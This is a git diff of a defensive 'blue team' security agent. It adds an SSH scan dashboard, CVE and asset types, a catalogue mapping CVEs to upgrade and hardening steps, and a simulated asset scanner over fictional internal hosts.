+ ); +} diff --git a/blue_agent/frontend/src/hooks/useBlueWebSocket.ts b/blue_agent/frontend/src/hooks/useBlueWebSocket.ts index 4fdd49289..af09f273b 100644 --- a/blue_agent/frontend/src/hooks/useBlueWebSocket.ts +++ b/blue_agent/frontend/src/hooks/useBlueWebSocket.ts @@ -1,5 +1,10 @@ import { useEffect, useRef, useState } from "react"; -import type { LogEntry, ToolCall, WsEnvelope } from "@/types/blue.types"; +import type { + AgentStatus, + LogEntry, + ToolCall, + WsEnvelope, +} from "@/types/blue.types"; const BLUE_WS_URL = import.meta.env.VITE_BLUE_WS_URL ?? "ws://localhost:8002/ws/blue"; @@ -8,15 +13,17 @@ interface BlueWsState { connected: boolean; toolCalls: ToolCall[]; logs: LogEntry[]; + agentStatus: AgentStatus | null; } -const MAX_TOOL_CALLS = 50; -const MAX_LOGS = 200; +const MAX_TOOL_CALLS = 100; +const MAX_LOGS = 500; export function useBlueWebSocket(): BlueWsState { const [connected, setConnected] = useState(false); const [toolCalls, setToolCalls] = useState([]); const [logs, setLogs] = useState([]); + const [agentStatus, setAgentStatus] = useState(null); const wsRef = useRef(null); const reconnectTimer = useRef(null); @@ -46,6 +53,8 @@ export function useBlueWebSocket(): BlueWsState { }); } else if (env.type === "log") { setLogs((prev) => [...prev, env.payload].slice(-MAX_LOGS)); + } else if (env.type === "agent_status") { + setAgentStatus(env.payload as AgentStatus); } } catch (err) { console.error("[blue ws] bad payload", err); @@ -61,5 +70,5 @@ export function useBlueWebSocket(): BlueWsState { }; }, []); - return { connected, toolCalls, logs }; + return { connected, toolCalls, logs, agentStatus }; } diff --git a/blue_agent/frontend/src/pages/BlueDashboard.tsx b/blue_agent/frontend/src/pages/BlueDashboard.tsx index 508b00739..35a6c07c3 100644 --- a/blue_agent/frontend/src/pages/BlueDashboard.tsx +++ b/blue_agent/frontend/src/pages/BlueDashboard.tsx @@ -1,23 +1,65 @@ import { useState } from "react"; import { ActivityPanel } from "@/components/ActivityPanel"; import { ChatButton } from "@/components/ChatButton"; +import { FixPlanPanel } from "@/components/FixPlanPanel"; import { LogStream } from "@/components/LogStream"; +import { SSHScanPanel } from "@/components/SSHScanPanel"; +import { StatusBar } from "@/components/StatusBar"; import { useBlueWebSocket } from "@/hooks/useBlueWebSocket"; import { blueApi } from "@/api/blueApi"; +import type { SSHScanResult } from "@/types/blue.types"; const ACCENT = "#58a6ff"; export function BlueDashboard() { - const { connected, toolCalls, logs } = useBlueWebSocket(); - const [host, setHost] = useState("192.168.1.100"); - const [busy, setBusy] = useState(false); + const { connected, toolCalls, logs, agentStatus } = useBlueWebSocket(); - const handleHarden = async () => { - setBusy(true); + const [host, setHost] = useState(""); + const [sshPort, setSshPort] = useState("22"); + const [username, setUsername] = useState("root"); + const [password, setPassword] = useState(""); + const [scanning, setScanning] = useState(false); + const [applying, setApplying] = useState(false); + const [scanResult, setScanResult] = useState(null); + const [scanError, setScanError] = useState(null); + + const hasVulnerabilities = + scanResult?.success === true && scanResult.total_cves > 0; + + const handleScan = async () => { + if (!host || !password) return; + setScanning(true); + setScanError(null); + setScanResult(null); + try { + const res = await blueApi.sshScan({ + host, + ssh_port: parseInt(sshPort, 10), + username, + password, + }); + setScanResult(res); + if (!res.success) setScanError(res.error || "Scan failed"); + } catch (err: any) { + setScanError(err?.response?.data?.detail || err?.message || "Connection failed"); + } finally { + setScanning(false); + } + }; + + const handleApplyFixes = async () => { + setApplying(true); try { - await blueApi.hardenService({ host, service: "ssh" }); + const res = await blueApi.sshApplyFixes(); + if (res.services) { + setScanResult((prev) => + prev ? { ...prev, services: res.services, fixes_applied: res.fixes_applied ?? 0 } : prev + ); + } + } catch (err: any) { + setScanError(err?.response?.data?.detail || err?.message || "Fix failed"); } finally { - setBusy(false); + setApplying(false); } }; @@ -31,67 +73,86 @@ export function BlueDashboard() { fontFamily: "ui-monospace, SFMono-Regular, Menlo, monospace", }} > -
-
-

- πŸ”΅ BLUE TEAM // DEFENDER -

-

- host: {host} Β· ws:{" "} - - {connected ? "connected" : "disconnected"} - -

+ {/* Header */} +
+
+
+

+ BLUE TEAM // AUTONOMOUS DEFENDER +

+

+ Step 1: Scan server → Step 2: Review fix plan → Step 3: Apply fixes +  · ws:{" "} + + {connected ? "connected" : "disconnected"} + +

+
-
- setHost(e.target.value)} - style={{ - background: "#161b22", - border: `1px solid ${ACCENT}55`, - color: "#f0f6fc", - padding: "8px 10px", - borderRadius: 4, - fontFamily: "inherit", - }} - /> + + {/* SSH input bar */} +
+ TARGET + setHost(e.target.value)} style={inputStyle} /> + : + setSshPort(e.target.value)} style={{ ...inputStyle, width: 55, flex: "none" }} /> + setUsername(e.target.value)} style={{ ...inputStyle, width: 100, flex: "none" }} /> + setPassword(e.target.value)} style={inputStyle} /> + {scanError && {scanError}} + {scanResult?.success && scanResult.total_cves === 0 && ( + All clean β€” no vulnerabilities + )}
+ {/* Status bar */} + + + {/* Main grid β€” adapts based on scan state */}
- + {/* Col 1: Scan results */} + + + {/* Col 2: Fix plan β€” only when vulnerabilities found */} + {hasVulnerabilities && ( + + )} + + {/* Activity */} + + + {/* Logs */}
@@ -99,3 +160,27 @@ export function BlueDashboard() {
); } + +const inputStyle: React.CSSProperties = { + background: "#0d1117", + border: "1px solid #30363d", + color: "#f0f6fc", + padding: "7px 10px", + borderRadius: 4, + fontFamily: "inherit", + fontSize: 12, + flex: 1, + minWidth: 0, +}; + +const btnBase: React.CSSProperties = { + border: "none", + padding: "8px 18px", + borderRadius: 6, + fontWeight: 700, + fontSize: 12, + cursor: "pointer", + fontFamily: "inherit", + letterSpacing: 1, + whiteSpace: "nowrap", +}; diff --git a/blue_agent/frontend/src/types/blue.types.ts b/blue_agent/frontend/src/types/blue.types.ts index b130f635c..38ef37b74 100644 --- a/blue_agent/frontend/src/types/blue.types.ts +++ b/blue_agent/frontend/src/types/blue.types.ts @@ -3,7 +3,7 @@ export type ToolStatus = "PENDING" | "RUNNING" | "DONE" | "FAILED"; export interface ToolCall { id: string; name: string; - category: "defend" | "patch" | "strategy" | string; + category: "defend" | "patch" | "strategy" | "scan" | "environment" | "evolution" | string; status: ToolStatus; params: Record; result: Record | null; @@ -18,11 +18,129 @@ export interface LogEntry { tool_id: string | null; } +export interface AssetInfo { + asset_id: string; + host: string; + port: number; + service: string; + environment: "cloud" | "onprem" | "hybrid"; + layer: string; + version: string | null; + banner: string | null; + detection_method: string | null; + cve_count: number; + cves: CVEInfo[]; + last_scanned: number | null; + status: string; +} + +export interface CVEInfo { + cve_id: string; + severity: "critical" | "high" | "medium" | "low"; + cvss_score: number; + description: string; + affected_software: string; + affected_version: string; + fix: string; +} + +export interface EnvironmentAlert { + alert_id: string; + environment: string; + category: string; + severity: string; + title: string; + description: string; + resource: string; + recommendation: string; + timestamp: number; +} + +export interface ScanStats { + scan_count: number; + total_assets: number; + vulnerable_assets: number; + total_vulnerabilities: number; + by_environment: Record; + by_layer: Record; + by_severity: Record; + scan_interval: number; + cve_lookups: number; + unique_cves_found: number; +} + +export interface EnvironmentStats { + total_alerts: number; + by_environment: Record; + by_severity: Record; + by_category: Record; + monitoring_active: boolean; +} + +export interface EvolutionMetrics { + evolution_count: number; + round_count: number; + avg_response_time_ms: number; + response_accuracy_pct: number; + improvement_pct: number; + current_params: Record; + top_attack_patterns: { pattern: string; count: number }[]; + total_patterns_tracked: number; +} + +export interface AgentStatus { + running: boolean; + detection_count: number; + response_count: number; + patch_count: number; + cve_fix_count: number; + isolation_count: number; + scan_cycles: number; + assets_discovered: number; + vulnerable_assets: number; + total_vulnerabilities: number; + environment_alerts: number; + evolution_rounds: number; + defense_plans: number; +} + export type WsEnvelope = | { type: "tool_call"; payload: ToolCall } | { type: "log"; payload: LogEntry } + | { type: "agent_status"; payload: AgentStatus } + | { type: "scan_stats"; payload: Record } | { type: "heartbeat"; payload: Record }; +export interface SSHCredentials { + host: string; + ssh_port: number; + username: string; + password: string; +} + +export interface SSHScanResult { + success: boolean; + host: string; + error?: string; + os_info?: string; + listening_ports: { port: number; process: string }[]; + services: { + software: string; + version: string; + raw_output: string; + port: number | null; + cve_count: number; + cves: CVEInfo[]; + fixed: boolean; + fix_output: string; + proposed_fixes: string[]; + }[]; + total_services: number; + total_cves: number; + fixes_applied: number; + elapsed_seconds: number; +} + export interface ClosePortRequest { host: string; port: number; diff --git a/blue_agent/patcher/auto_patcher.py b/blue_agent/patcher/auto_patcher.py index c5940eeff..d73469259 100644 --- a/blue_agent/patcher/auto_patcher.py +++ b/blue_agent/patcher/auto_patcher.py @@ -1,12 +1,18 @@ +from __future__ import annotations + """Real-Time Patching (Feature 3) β€” Fix root cause after every response. -Subscribes to response_complete events from the event bus. +Subscribes to response_complete and vulnerability_found events. Applies the correct service-specific patch based on what triggered the response. +Two patching modes: + 1. Service patches β€” from the built-in catalogue (triggered by response_complete) + 2. CVE-specific patches β€” targeted fixes for discovered CVEs (triggered by + vulnerability_found from the asset scanner + CVE lookup pipeline) + Patch catalogue: apache httpd / ports 80, 443, 8080 β†’ disable DIR-LISTING, apply security headers, harden server config - (cannot be shut down β€” essential service) mysql / port 3306 β†’ enforce local-only binding, block external access ftp / port 21 @@ -18,6 +24,10 @@ postgresql / port 5432 β†’ restrict pg_hba.conf to local connections +CVE fix catalogue: + Maps specific CVE IDs to targeted remediation steps (upgrade commands, + config changes, module disabling, etc.) + Patching is idempotent β€” applying the same patch twice is a no-op. Emits patch_complete after each successful patch. @@ -128,6 +138,240 @@ def _ts() -> str: ], "result": "RDP hardened \u2014 NLA enforced, access restricted \u2713", }, + "nginx": { + "action": "harden", + "ports": [80, 443, 8080], + "steps": [ + "Hide server version: server_tokens off", + "Add security headers: X-Frame-Options, X-Content-Type-Options, CSP", + "Disable autoindex: autoindex off", + "Restrict HTTP methods: allow GET, POST, HEAD only", + ], + "result": "Nginx hardened \u2014 version hidden, security headers applied \u2713", + }, + "mongodb": { + "action": "harden", + "ports": [27017], + "steps": [ + "Enable authentication: security.authorization=enabled", + "Bind to localhost: net.bindIp=127.0.0.1", + "Disable scripting: security.javascriptEnabled=false", + ], + "result": "MongoDB hardened \u2014 auth enabled, bound to localhost \u2713", + }, + "redis": { + "action": "harden", + "ports": [6379], + "steps": [ + "Set requirepass in redis.conf", + "Bind to 127.0.0.1", + "Disable dangerous commands: rename-command FLUSHALL, CONFIG", + "Enable protected-mode yes", + ], + "result": "Redis hardened \u2014 password set, dangerous commands disabled \u2713", + }, + "elasticsearch": { + "action": "harden", + "ports": [9200, 9300], + "steps": [ + "Enable X-Pack security authentication", + "Bind to localhost: network.host=127.0.0.1", + "Enable TLS for transport and HTTP layers", + "Disable dynamic scripting", + ], + "result": "Elasticsearch hardened \u2014 auth enabled, TLS configured \u2713", + }, + "tomcat": { + "action": "harden", + "ports": [8080, 8443], + "steps": [ + "Remove default webapps (manager, host-manager, examples, docs)", + "Disable directory listing in web.xml", + "Set shutdown port to -1", + "Remove server version from error pages", + ], + "result": "Tomcat hardened \u2014 defaults removed, directory listing disabled \u2713", + }, + "wordpress": { + "action": "patch", + "ports": [80, 443], + "steps": [ + "Update WordPress core to latest version", + "Disable XML-RPC: add deny rule to .htaccess", + "Disable file editing: define('DISALLOW_FILE_EDIT', true)", + "Set proper file permissions (644 for files, 755 for directories)", + ], + "result": "WordPress patched \u2014 core updated, XML-RPC disabled \u2713", + }, + "docker": { + "action": "harden", + "ports": [2376, 2375], + "steps": [ + "Enable TLS authentication on Docker daemon", + "Drop all capabilities and add only required ones", + "Set no-new-privileges security option", + "Enable user namespace remapping", + ], + "result": "Docker hardened \u2014 TLS enabled, capabilities restricted \u2713", + }, + "kubernetes": { + "action": "harden", + "ports": [443, 6443, 8443], + "steps": [ + "Enable RBAC authorization mode", + "Enforce Pod Security Standards (restricted)", + "Enable audit logging", + "Disable anonymous authentication", + ], + "result": "Kubernetes hardened \u2014 RBAC enabled, PSS enforced \u2713", + }, +} + +# --------------------------------------------------------------------------- +# CVE-specific fix catalogue +# --------------------------------------------------------------------------- + +_CVE_FIX_CATALOG: Dict[str, Dict[str, Any]] = { + "CVE-2021-41773": { + "service": "apache", + "steps": ["Upgrade Apache to 2.4.51+", "Set 'Require all denied' on filesystem root", "Verify: path traversal returns 403"], + "result": "CVE-2021-41773 fixed \u2014 Apache upgraded, path traversal blocked \u2713", + }, + "CVE-2021-42013": { + "service": "apache", + "steps": ["Upgrade Apache to 2.4.51+", "Disable CGI modules if unused: a2dismod cgi cgid"], + "result": "CVE-2021-42013 fixed \u2014 Apache upgraded, CGI hardened \u2713", + }, + "CVE-2022-22720": { + "service": "apache", + "steps": ["Upgrade Apache to 2.4.53+", "Enable mod_reqtimeout"], + "result": "CVE-2022-22720 fixed \u2014 request smuggling mitigated \u2713", + }, + "CVE-2020-11984": { + "service": "apache", + "steps": ["Upgrade Apache to 2.4.44+", "Disable mod_proxy_uwsgi if unused"], + "result": "CVE-2020-11984 fixed \u2014 buffer overflow patched \u2713", + }, + "CVE-2021-23017": { + "service": "nginx", + "steps": ["Upgrade nginx to 1.20.1+", "Avoid using nginx as DNS resolver"], + "result": "CVE-2021-23017 fixed \u2014 DNS resolver vulnerability patched \u2713", + }, + "CVE-2020-14812": { + "service": "mysql", + "steps": ["Upgrade MySQL to 5.7.32+", "Apply Oracle CPU patch"], + "result": "CVE-2020-14812 fixed \u2014 MySQL locking vulnerability patched \u2713", + }, + "CVE-2020-14769": { + "service": "mysql", + "steps": ["Upgrade MySQL to 5.7.32+", "Optimize complex queries"], + "result": "CVE-2020-14769 fixed \u2014 MySQL optimizer patched \u2713", + }, + "CVE-2021-2307": { + "service": "mysql", + "steps": ["Upgrade MySQL to 8.0.26+"], + "result": "CVE-2021-2307 fixed \u2014 MySQL packaging vulnerability patched \u2713", + }, + "CVE-2021-32027": { + "service": "postgresql", + "steps": ["Upgrade PostgreSQL to 13.3+", "Restrict array dimension sizes"], + "result": "CVE-2021-32027 fixed \u2014 buffer overrun patched \u2713", + }, + "CVE-2022-2625": { + "service": "postgresql", + "steps": ["Upgrade PostgreSQL to 14.6+", "Audit installed extensions"], + "result": "CVE-2022-2625 fixed \u2014 extension vulnerability patched \u2713", + }, + "CVE-2021-32761": { + "service": "redis", + "steps": ["Upgrade Redis to 6.0.15+", "Migrate to 64-bit if on 32-bit"], + "result": "CVE-2021-32761 fixed \u2014 BITFIELD overflow patched \u2713", + }, + "CVE-2021-32625": { + "service": "redis", + "steps": ["Upgrade Redis to 6.0.14+", "Disable STRALGO if unused"], + "result": "CVE-2021-32625 fixed \u2014 STRALGO overflow patched \u2713", + }, + "CVE-2020-15778": { + "service": "openssh", + "steps": ["Upgrade OpenSSH to 8.4+", "Use sftp instead of scp"], + "result": "CVE-2020-15778 fixed \u2014 scp injection patched \u2713", + }, + "CVE-2021-41617": { + "service": "openssh", + "steps": ["Upgrade OpenSSH to 8.8+", "Review AuthorizedKeysCommand config"], + "result": "CVE-2021-41617 fixed \u2014 privilege escalation patched \u2713", + }, + "CVE-2021-3618": { + "service": "vsftpd", + "steps": ["Upgrade vsftpd to 3.0.5+", "Configure strict TLS SNI", "Disable SSLv3/TLSv1.0"], + "result": "CVE-2021-3618 fixed \u2014 ALPACA TLS attack mitigated \u2713", + }, + "CVE-2021-21702": { + "service": "php", + "steps": ["Upgrade PHP to 7.4.18+", "Disable SOAP extension if unused"], + "result": "CVE-2021-21702 fixed \u2014 SOAP null pointer patched \u2713", + }, + "CVE-2021-21703": { + "service": "php", + "steps": ["Upgrade PHP to 7.4.26+", "Run PHP-FPM as non-root"], + "result": "CVE-2021-21703 fixed \u2014 FPM privilege escalation patched \u2713", + }, + "CVE-2021-22931": { + "service": "nodejs", + "steps": ["Upgrade Node.js to 14.17.5+", "Validate DNS resolution results"], + "result": "CVE-2021-22931 fixed \u2014 DNS rebinding patched \u2713", + }, + "CVE-2022-21824": { + "service": "nodejs", + "steps": ["Upgrade Node.js to 16.13.2+", "Freeze Object.prototype at startup"], + "result": "CVE-2022-21824 fixed \u2014 prototype pollution patched \u2713", + }, + "CVE-2021-29447": { + "service": "wordpress", + "steps": ["Upgrade WordPress to 5.7.1+", "Disable XML entity processing", "Restrict media upload types"], + "result": "CVE-2021-29447 fixed \u2014 XXE vulnerability patched \u2713", + }, + "CVE-2022-21661": { + "service": "wordpress", + "steps": ["Upgrade WordPress to 5.9.4+", "Use parameterized queries in plugins"], + "result": "CVE-2022-21661 fixed \u2014 SQL injection patched \u2713", + }, + "CVE-2021-42340": { + "service": "tomcat", + "steps": ["Upgrade Tomcat to 9.0.54+", "Configure WebSocket connection limits"], + "result": "CVE-2021-42340 fixed \u2014 WebSocket memory leak patched \u2713", + }, + "CVE-2021-32040": { + "service": "mongodb", + "steps": ["Upgrade MongoDB to 4.4.15+", "Enable message size validation"], + "result": "CVE-2021-32040 fixed \u2014 BSON DoS patched \u2713", + }, + "CVE-2022-23708": { + "service": "elasticsearch", + "steps": ["Upgrade Elasticsearch to 7.17.1+", "Review search API access controls"], + "result": "CVE-2022-23708 fixed \u2014 document access patched \u2713", + }, + "CVE-2022-24769": { + "service": "docker", + "steps": ["Upgrade Docker to 20.10.14+", "Drop inheritable capabilities"], + "result": "CVE-2022-24769 fixed \u2014 capabilities vulnerability patched \u2713", + }, + "CVE-2022-3162": { + "service": "kubernetes", + "steps": ["Upgrade Kubernetes to 1.24.9+", "Review RBAC policies"], + "result": "CVE-2022-3162 fixed \u2014 RBAC bypass patched \u2713", + }, + "CVE-2021-31166": { + "service": "iis", + "steps": ["Apply Windows Update KB5003173", "Disable HTTP trailer support"], + "result": "CVE-2021-31166 fixed \u2014 HTTP stack RCE patched \u2713", + }, + "CVE-2019-12815": { + "service": "proftpd", + "steps": ["Upgrade ProFTPD to 1.3.6b+", "Disable mod_copy module"], + "result": "CVE-2019-12815 fixed \u2014 arbitrary file copy patched \u2713", + }, } # Port β†’ canonical service name for fast lookup @@ -138,6 +382,7 @@ def _ts() -> str: # Idempotency tracker: set of patch keys already applied _applied_patches: Set[str] = set() +_applied_cve_fixes: Set[str] = set() def _resolve_service(data: Dict[str, Any]) -> "str | None": @@ -168,8 +413,12 @@ def _resolve_service(data: Dict[str, Any]) -> "str | None": class AutoPatcher: """Applies root-cause patches after every confirmed response. + Handles two event types: + - response_complete β†’ service-level hardening from the patch catalogue + - vulnerability_found β†’ CVE-specific targeted fixes from scanner pipeline + Call register() once during system initialisation to wire the subscription. - Patching is idempotent β€” the same service:port pair is only patched once. + Patching is idempotent β€” the same service:port or CVE is only patched once. Emits: patch_complete β€” after each successful patch application @@ -177,14 +426,16 @@ class AutoPatcher: def __init__(self) -> None: self.patch_count: int = 0 + self.cve_fix_count: int = 0 # ------------------------------------------------------------------ # Subscription wiring # ------------------------------------------------------------------ def register(self) -> None: - """Subscribe to response_complete events.""" + """Subscribe to response_complete and vulnerability_found events.""" event_bus.subscribe("response_complete", self._on_response_complete) + event_bus.subscribe("vulnerability_found", self._on_vulnerability_found) # ------------------------------------------------------------------ # Event handler @@ -235,3 +486,63 @@ async def _on_response_complete( "steps_applied": patch["steps"], "status": "PATCHED", }) + + # ------------------------------------------------------------------ + # CVE-specific fix handler + # ------------------------------------------------------------------ + + async def _on_vulnerability_found( + self, event_type: str, data: Dict[str, Any] + ) -> None: + """vulnerability_found β†’ apply CVE-specific fix if available.""" + cve_id = data.get("cve_id", "") + if not cve_id: + return + + # Idempotency: don't fix the same CVE twice + if cve_id in _applied_cve_fixes: + return + + fix_entry = _CVE_FIX_CATALOG.get(cve_id) + if not fix_entry: + # Fall back to service-level hardening + service = data.get("service", "") + port = data.get("port") + if service or port: + await self._on_response_complete(event_type, { + "service": service, + "port": port, + }) + return + + host = data.get("host", "unknown") + port = data.get("port", 0) + service = data.get("service", fix_entry.get("service", "unknown")) + severity = data.get("severity", "unknown") + + ts = _ts() + print( + f"{ts} > cve_fix({json.dumps({'cve': cve_id, 'service': service, 'host': host, 'severity': severity})})" + ) + + # Simulate applying CVE-specific fix steps + for step in fix_entry["steps"]: + await asyncio.sleep(0.08) # simulate package download / config change + logger.debug(f"AutoPatcher [CVE {cve_id}]: {step}") + + _applied_cve_fixes.add(cve_id) + self.cve_fix_count += 1 + self.patch_count += 1 + + ts = _ts() + print(f"{ts} < cve_fix: {fix_entry['result']}") + + await event_bus.emit("patch_complete", { + "service": service, + "port": port, + "cve_id": cve_id, + "action": "cve_fix", + "steps_applied": fix_entry["steps"], + "status": "CVE_FIXED", + "severity": severity, + }) diff --git a/blue_agent/responder/response_engine.py b/blue_agent/responder/response_engine.py index aaf114f2d..6f9238e29 100644 --- a/blue_agent/responder/response_engine.py +++ b/blue_agent/responder/response_engine.py @@ -1,3 +1,5 @@ +from __future__ import annotations + """Real-Time Response (Feature 2) β€” React to every detection event immediately. Subscribes to all detection events from the event bus on initialisation. diff --git a/blue_agent/scanner/__init__.py b/blue_agent/scanner/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/blue_agent/scanner/asset_scanner.py b/blue_agent/scanner/asset_scanner.py new file mode 100644 index 000000000..9f0bbbf76 --- /dev/null +++ b/blue_agent/scanner/asset_scanner.py @@ -0,0 +1,334 @@ +from __future__ import annotations + +"""Full-stack asset scanner β€” discovers services, detects versions, looks up CVEs. + +Continuously scans across Cloud, On-Premise, and Hybrid environments to build +a live asset inventory. For each discovered asset: + 1. Detect the running software and version (version_detector) + 2. Look up known CVEs for that software+version (cve_lookup) + 3. Emit events so the response/patch chain can remediate + +Covers: web servers, databases, application frameworks, CMS platforms, +system services (SSH/FTP), container runtimes, cloud services. + +All scanning is simulated in-memory β€” no real network calls. +Continuous operation: the scan loop never stops; interval tightens under threat. +""" + +import asyncio +import json +import logging +import random +import time +from dataclasses import dataclass, field +from datetime import datetime +from typing import Any, Dict, List, Optional, Set + +from core.event_bus import event_bus +from blue_agent.scanner.version_detector import VersionDetector, VersionInfo +from blue_agent.scanner.cve_lookup import CVELookup, CVERecord + +logger = logging.getLogger(__name__) + + +def _ts() -> str: + return datetime.now().strftime("%H:%M:%S") + + +# --------------------------------------------------------------------------- +# Simulated target environment +# --------------------------------------------------------------------------- + +@dataclass +class Asset: + """A single discovered asset.""" + asset_id: str + host: str + port: int + service: str + environment: str # "cloud" | "onprem" | "hybrid" + layer: str # "webserver" | "database" | "application" | "frontend" | "system" | "container" + version_info: Optional[VersionInfo] = None + cves: List[CVERecord] = field(default_factory=list) + last_scanned: Optional[float] = None + status: str = "discovered" # discovered | scanned | vulnerable | patched + + def to_dict(self) -> Dict[str, Any]: + return { + "asset_id": self.asset_id, + "host": self.host, + "port": self.port, + "service": self.service, + "environment": self.environment, + "layer": self.layer, + "version": self.version_info.version if self.version_info else None, + "banner": self.version_info.banner if self.version_info else None, + "detection_method": self.version_info.detection_method if self.version_info else None, + "cve_count": len(self.cves), + "cves": [c.to_dict() for c in self.cves], + "last_scanned": self.last_scanned, + "status": self.status, + } + + +# The simulated target infrastructure spanning all 3 environments +_TARGET_ASSETS: List[Dict[str, Any]] = [ + # ── Cloud Environment ────────────────────────────────────────── + {"host": "10.0.1.10", "port": 443, "service": "nginx", "env": "cloud", "layer": "webserver"}, + {"host": "10.0.1.10", "port": 80, "service": "nginx", "env": "cloud", "layer": "webserver"}, + {"host": "10.0.1.11", "port": 8080, "service": "tomcat", "env": "cloud", "layer": "application"}, + {"host": "10.0.1.12", "port": 3306, "service": "mysql", "env": "cloud", "layer": "database"}, + {"host": "10.0.1.13", "port": 6379, "service": "redis", "env": "cloud", "layer": "database"}, + {"host": "10.0.1.14", "port": 9200, "service": "elasticsearch", "env": "cloud", "layer": "database"}, + {"host": "10.0.1.15", "port": 3000, "service": "nodejs", "env": "cloud", "layer": "frontend"}, + {"host": "10.0.1.16", "port": 443, "service": "kubernetes", "env": "cloud", "layer": "container"}, + {"host": "10.0.1.17", "port": 2376, "service": "docker", "env": "cloud", "layer": "container"}, + {"host": "10.0.1.18", "port": 27017,"service": "mongodb", "env": "cloud", "layer": "database"}, + + # ── On-Premise Environment ───────────────────────────────────── + {"host": "192.168.1.10", "port": 80, "service": "apache", "env": "onprem", "layer": "webserver"}, + {"host": "192.168.1.10", "port": 443, "service": "apache", "env": "onprem", "layer": "webserver"}, + {"host": "192.168.1.11", "port": 22, "service": "openssh", "env": "onprem", "layer": "system"}, + {"host": "192.168.1.12", "port": 21, "service": "vsftpd", "env": "onprem", "layer": "system"}, + {"host": "192.168.1.13", "port": 3306, "service": "mysql", "env": "onprem", "layer": "database"}, + {"host": "192.168.1.14", "port": 5432, "service": "postgresql", "env": "onprem", "layer": "database"}, + {"host": "192.168.1.15", "port": 80, "service": "wordpress", "env": "onprem", "layer": "application"}, + {"host": "192.168.1.15", "port": 80, "service": "php", "env": "onprem", "layer": "application"}, + {"host": "192.168.1.16", "port": 8080, "service": "phpmyadmin", "env": "onprem", "layer": "application"}, + {"host": "192.168.1.17", "port": 23, "service": "telnet", "env": "onprem", "layer": "system"}, + + # ── Hybrid / DMZ ─────────────────────────────────────────────── + {"host": "172.16.0.10", "port": 443, "service": "nginx", "env": "hybrid", "layer": "webserver"}, + {"host": "172.16.0.11", "port": 8443, "service": "apache", "env": "hybrid", "layer": "webserver"}, + {"host": "172.16.0.12", "port": 22, "service": "openssh", "env": "hybrid", "layer": "system"}, + {"host": "172.16.0.13", "port": 5432, "service": "postgresql", "env": "hybrid", "layer": "database"}, + {"host": "172.16.0.14", "port": 21, "service": "proftpd", "env": "hybrid", "layer": "system"}, + {"host": "172.16.0.15", "port": 6379, "service": "redis", "env": "hybrid", "layer": "database"}, + {"host": "172.16.0.16", "port": 3000, "service": "nodejs", "env": "hybrid", "layer": "frontend"}, + {"host": "172.16.0.17", "port": 8080, "service": "django", "env": "hybrid", "layer": "application"}, + {"host": "172.16.0.18", "port": 443, "service": "iis", "env": "hybrid", "layer": "webserver"}, +] + + +# --------------------------------------------------------------------------- +# Asset Scanner +# --------------------------------------------------------------------------- + +class AssetScanner: + """Continuously scans all environments, detects versions, looks up CVEs. + + Usage:: + + scanner = AssetScanner() + await scanner.start() # blocks β€” runs continuous scan loops + """ + + def __init__(self) -> None: + self.version_detector = VersionDetector() + self.cve_lookup = CVELookup() + + self.inventory: Dict[str, Asset] = {} + self.scan_count: int = 0 + self.total_vulnerabilities: int = 0 + self._running: bool = False + + # Dynamic scan interval β€” tightens under threat (default 8s) + self.scan_interval: float = 8.0 + + @property + def asset_count(self) -> int: + return len(self.inventory) + + @property + def vulnerable_count(self) -> int: + return sum(1 for a in self.inventory.values() if a.cves) + + # ------------------------------------------------------------------ + # Lifecycle + # ------------------------------------------------------------------ + + async def start(self) -> None: + """Continuous scanning loop β€” never stops until stop() is called.""" + self._running = True + ts = _ts() + print( + f"{ts} < asset_scanner: Starting continuous asset scan across " + f"{len(_TARGET_ASSETS)} targets (cloud + onprem + hybrid)" + ) + + while self._running: + await self._full_scan_cycle() + await asyncio.sleep(self.scan_interval) + + async def stop(self) -> None: + self._running = False + + # ------------------------------------------------------------------ + # Core scan logic + # ------------------------------------------------------------------ + + async def _full_scan_cycle(self) -> None: + """Run a complete scan cycle across all target assets.""" + self.scan_count += 1 + cycle_start = time.monotonic() + ts = _ts() + print( + f"{ts} > asset_scan(cycle={self.scan_count}, " + f"targets={len(_TARGET_ASSETS)}, interval={self.scan_interval:.1f}s)" + ) + + new_vulns_this_cycle = 0 + + for target in _TARGET_ASSETS: + if not self._running: + break + + asset_id = f"{target['host']}:{target['port']}:{target['service']}" + + # 1. Discover / refresh asset + asset = self.inventory.get(asset_id) + if asset is None: + asset = Asset( + asset_id=asset_id, + host=target["host"], + port=target["port"], + service=target["service"], + environment=target["env"], + layer=target["layer"], + ) + self.inventory[asset_id] = asset + + await event_bus.emit("asset_discovered", { + "asset_id": asset_id, + "host": target["host"], + "port": target["port"], + "service": target["service"], + "environment": target["env"], + "layer": target["layer"], + }) + + # 2. Version detection + version_info = self.version_detector.detect( + target["service"], target["host"], target["port"] + ) + if version_info: + asset.version_info = version_info + asset.status = "scanned" + + # 3. CVE lookup + cves = await self.cve_lookup.lookup( + version_info.software, version_info.version + ) + + if cves: + # Only report new CVEs not already tracked for this asset + existing_ids = {c.cve_id for c in asset.cves} + new_cves = [c for c in cves if c.cve_id not in existing_ids] + + if new_cves: + asset.cves.extend(new_cves) + asset.status = "vulnerable" + new_vulns_this_cycle += len(new_cves) + + for cve in new_cves: + self.total_vulnerabilities += 1 + + ts = _ts() + print( + f"{ts} < asset_scanner: [{target['env'].upper()}] " + f"{target['service']} {version_info.version} @ " + f"{target['host']}:{target['port']} -> " + f"{cve.cve_id} (CVSS {cve.cvss_score}, {cve.severity})" + ) + + # Emit to event bus for response chain + await event_bus.emit("vulnerability_found", { + "asset_id": asset_id, + "host": target["host"], + "port": target["port"], + "service": target["service"], + "software": version_info.software, + "version": version_info.version, + "environment": target["env"], + "layer": target["layer"], + "cve_id": cve.cve_id, + "cvss_score": cve.cvss_score, + "severity": cve.severity, + "description": cve.description, + "fix": cve.fix, + }) + + # Also emit cve_detected for existing response chain + await event_bus.emit("cve_detected", { + "cve_id": cve.cve_id, + "service": target["service"], + "port": target["port"], + "source_ip": target["host"], + "severity": cve.severity, + "fix": cve.fix, + }) + + asset.last_scanned = time.monotonic() + await asyncio.sleep(0.05) # simulate network latency + + elapsed = time.monotonic() - cycle_start + ts = _ts() + print( + f"{ts} < asset_scan: cycle {self.scan_count} complete in {elapsed:.1f}s β€” " + f"{self.asset_count} assets, {self.vulnerable_count} vulnerable, " + f"{new_vulns_this_cycle} new CVEs this cycle" + ) + + await event_bus.emit("scan_complete", { + "cycle": self.scan_count, + "assets_scanned": self.asset_count, + "vulnerable_assets": self.vulnerable_count, + "new_vulnerabilities": 